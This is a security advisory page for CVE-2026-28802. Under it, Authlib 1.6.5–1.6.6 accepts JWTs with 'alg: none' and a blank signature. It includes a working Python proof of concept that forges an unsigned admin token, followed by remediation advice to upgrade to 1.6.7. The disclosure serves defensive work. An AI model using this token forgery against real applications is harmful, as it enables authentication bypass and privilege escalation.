CVE-2026-28802: Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification

Published Mar 4, 2026
·
Updated

Summary After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.

Details It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75

PoC from authlib.jose import jwt, JsonWebKey from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import defaultbackend import json import base64

def createjwks(): privatekey = rsa.generateprivatekey( publicexponent=65537, keysize=2048, backend=defaultbackend() ) publicpem = privatekey.publickey().publicbytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo, ) jwk = JsonWebKey.importkey(publicpem).asdict() jwk["kid"] = "test-key-001" jwk["use"] = "sig" jwk["alg"] = "RS256" jwks = {"keys": [jwk]} return jwks

def createforgedtokenwithalgnone(): forgedheader = {"alg": "none"} forgedpayload = { "sub": "user123", "role": "admin", "iat": 1735603200, }

headerb64 = base64.urlsafeb64encode( json.dumps(forgedheader).encode("utf-8") ).rstrip(b"=")

payloadb64 = base64.urlsafeb64encode( json.dumps(forgedpayload).encode("utf-8") ).rstrip(b"=")

forgedtoken = headerb64 + b"." + payloadb64 + b"." return forgedtoken

jwks = createjwks() forgedtoken = createforgedtokenwithalgnone() try: claims = jwt.decode(forgedtoken, jwks) print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}") except Exception as e: print(f"SECURE: Token rejected - {type(e).name}")

Output: pip install -q authlib==1.5.2 python3 authlibalgnonevulnerability.py SECURE: Token rejected - BadSignatureError pip install -q authlib==1.6.5 python3 authlibalgnonevulnerability.py VULNERABLE: Forged token (alg:none) accepted: role=admin

Impact Users of the library are likely not aware that they now need to check the provided headers and disallow alg: none usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist.

Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to: - Authentication bypass - Privilege escalation - Unauthorized access - Modification of application data

Other sources

Authlib is a Python library which builds OAuth and OpenID Connect servers. From version 1.6.5 to before version 1.6.7, previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.. This issue has been patched in version 1.6.7.

MITRE

Affected Software

2 affected componentsFixes available
pip/authlib>=1.6.5<=1.6.6
1.6.7
Authlib Authlib>=1.6.5<1.6.7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/authlib to a version that resolves this vulnerability.

    Fixed in 1.6.7
  2. Upgrade

    Upgrade authlib to a version that resolves this vulnerability.

    Fixed in 1.6.7
  3. Configuration

    Adopt a secure-by-default stance in Authlib JWT/JWS verification by default rejecting tokens with header alg: none, and require the application to provide an explicit algorithm whitelist.

    Authlib JWT/JWS verification allowed_algorithms / algorithm whitelist (default secure-by-default) = Reject alg: none unless explicitly allowed by application

Event History

Mar 4, 2026
Advisory Published
via GitHub·08:55 PM
Data Sourced
via GitHub·08:55 PM
DescriptionWeaknessAffected Software
Mar 6, 2026
CVE Published
via MITRE·06:44 AM
Data Sourced
via MITRE·06:44 AM
DescriptionWeakness
Data Sourced
via Red Hat·07:02 AM
DescriptionSeverityAffected Software
Data Sourced
via NVD·07:16 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 AM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-28802?

CVE-2026-28802 is classified as a significant vulnerability due to its potential to bypass signature verification in JWTs.

2

How do I fix CVE-2026-28802?

To fix CVE-2026-28802, upgrade the Authlib package to version 1.6.7 or later.

3

What types of applications are affected by CVE-2026-28802?

CVE-2026-28802 affects applications using Authlib versions between 1.6.5 and 1.6.6 that implement JWT signature verification.

4

What does CVE-2026-28802 exploit?

CVE-2026-28802 exploits the ability to set 'alg: none' with a blank signature to bypass signature validation.

5

Is it safe to use Authlib version 1.6.6 after the CVE-2026-28802 disclosure?

No, using Authlib version 1.6.6 is not safe due to the vulnerability allowing unauthorized access through JWT manipulation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203